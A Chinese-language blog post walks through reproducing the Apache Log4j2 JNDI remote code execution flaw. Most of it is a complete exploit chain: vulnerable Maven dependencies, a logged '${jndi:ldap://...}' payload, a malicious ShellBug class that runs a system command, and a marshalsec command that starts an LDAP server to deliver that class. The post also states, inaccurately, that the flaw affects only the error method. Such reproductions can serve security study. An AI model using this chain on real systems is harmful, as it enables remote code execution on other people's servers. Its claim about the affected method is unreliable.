漏洞描述
1.Apache Log4j2 是一个基于Java的日志记录库。由于Log4j2内部实现JNDI(Java Naming and Directory Interface)协议,JNDI能动态扩展接口、类等信息。通过注入JNDI脚本到客户端就能访问到ladp服务端,ladp服务端下发类信息就能实现远程代码执行。
漏洞只对Log4j2中error方法生效。
漏洞复现环境要求
名称 | 版本 | 描述 |
---|---|---|
Log4j2 | 2.14.1 | 依赖的Log4j2 jar文件 |
ladp | 任意 | ladp服务端 |
http-server | 任意 | 迷路版http服务器 |
jdk | >=1.6 | jvm环境 |
相关环境下载
链接:https://pan.baidu.com/s/16hIvzvxSbuMQfqQNMEKb6Q
提取码:bfb9
依赖漏洞包
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
log4j2漏洞代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test2 {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
//错误日志中注入jndi协议
logger.error("${jndi:ldap://127.0.0.1:1389/#ShellBug}");
}
}
漏洞代码查看MessagePatternConverter类中的format方法,漏洞在114行开始。jndiManager类
漏洞脚本
ShellBug.java文件
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
public class ShellBug {
public ShellBug() throws Exception{
//这里是执行命令,如果是Linux
String cmd="calc";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
new Thread (new Runnable() {
@Override
public void run() {
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}
启动LDAP服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#ShellBug
声明
本文章作为技术分享,如有违法乱纪由当事人承担后果,作者概不负责
网友评论